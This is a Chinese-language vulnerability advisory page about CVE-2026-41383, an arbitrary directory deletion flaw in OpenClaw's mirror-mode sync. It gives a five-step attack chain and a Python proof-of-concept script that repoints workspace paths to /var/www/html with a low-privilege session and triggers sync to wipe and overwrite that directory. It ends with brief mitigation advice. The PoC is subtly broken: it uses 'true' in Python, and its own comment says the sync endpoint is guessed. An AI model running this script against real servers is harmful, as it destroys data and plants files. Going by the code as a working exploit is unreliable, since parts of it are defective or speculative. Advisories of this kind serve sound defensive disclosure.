IPBUF安全漏洞报告
English
CVE-2026-41383 CVSS 8.1 高危

CVE-2026-41383 OpenClaw 任意目录删除漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-41383
漏洞类型
任意目录删除
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

任意目录删除OpenClaw路径遍历配置错误

漏洞概述

OpenClaw 在 2026.4.2 之前的版本中存在严重的安全缺陷。该漏洞位于镜像模式功能中,允许攻击者通过不当的配置操纵实现任意目录删除。攻击者可以影响 `remoteWorkspaceDir` 和 `remoteAgentWorkspaceDir` 这两个配置值,诱导系统在同步过程中删除非预期的远程目录内容,并用上传的工作区数据取而代之。此漏洞可能导致关键数据丢失及系统完整性受损。

技术细节

该漏洞的根源在于 OpenClaw 在处理镜像模式同步操作时,未对用户可配置的路径参数进行严格的校验。攻击者如果拥有低权限账户(PR:L),即可修改或影响 `remoteWorkspaceDir` 和 `remoteAgentWorkspaceDir` 这两个关键配置项。由于系统在执行同步时信任了这些路径,攻击者可以将路径指向系统中的关键目录。当镜像同步触发时,程序会先执行“清理”操作(即删除目标目录中的内容以保持一致性),随后将本地工作区的数据上传。这种机制导致攻击者能够意外或恶意地删除服务器上非预期的敏感文件或目录,并植入恶意文件,实现对远程系统的破坏性攻击。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者获取 OpenClaw 实例的低权限账户访问权限(PR:L)。
STEP 2
步骤2:侦察配置
分析应用配置,识别出 `remoteWorkspaceDir` 和 `remoteAgentWorkspaceDir` 参数可被当前权限修改。
STEP 3
步骤3:篡改路径配置
攻击者通过 API 或配置界面,将远程工作目录路径修改为系统关键目录(如 `/etc`, `/var/www`)。
STEP 4
步骤4:触发同步机制
攻击者手动触发或等待镜像模式自动执行同步任务。
STEP 5
步骤5:执行破坏
系统根据恶意配置,先删除目标目录下的所有文件(可用性影响),然后将本地数据上传覆盖(完整性影响)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Exploit Title: OpenClaw Arbitrary Directory Deletion PoC # Description: Manipulates remoteWorkspaceDir to delete a target directory on the server. TARGET_URL = "http://vulnerable-openclaw-instance:8080/api/config" SESSION_COOKIE = "session_id_of_low_priv_user" # The directory on the remote server the attacker wants to delete MALICIOUS_TARGET_DIR = "/var/www/html" # Payload to manipulate configuration payload = { "remoteWorkspaceDir": MALICIOUS_TARGET_DIR, "remoteAgentWorkspaceDir": MALICIOUS_TARGET_DIR, "mirrorMode": true, "forceSync": true } headers = { "Cookie": f"session={SESSION_COOKIE}", "Content-Type": "application/json" } try: # Step 1: Update the configuration to point to the sensitive directory print(f"[*] Attempting to update remoteWorkspaceDir to: {MALICIOUS_TARGET_DIR}") response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Configuration updated successfully.") print("[+] Triggering sync operation...") # Step 2: Trigger the mirror sync (this might happen automatically or via a specific endpoint) sync_url = TARGET_URL.replace("/config", "/sync") sync_resp = requests.post(sync_url, headers=headers) if sync_resp.status_code == 200: print(f"[!] Exploit successful. Directory {MALICIOUS_TARGET_DIR} should be deleted/replaced.") else: print("[-] Failed to trigger sync.") else: print(f"[-] Failed to update configuration. Status: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

OpenClaw < 2026.4.2

防御指南

临时缓解措施
如果无法立即升级,请严格限制对 OpenClaw 配置文件的访问权限,确保 `remoteWorkspaceDir` 和 `remoteAgentWorkspaceDir` 指向非系统关键目录,并监控同步日志以检测异常的目录删除行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表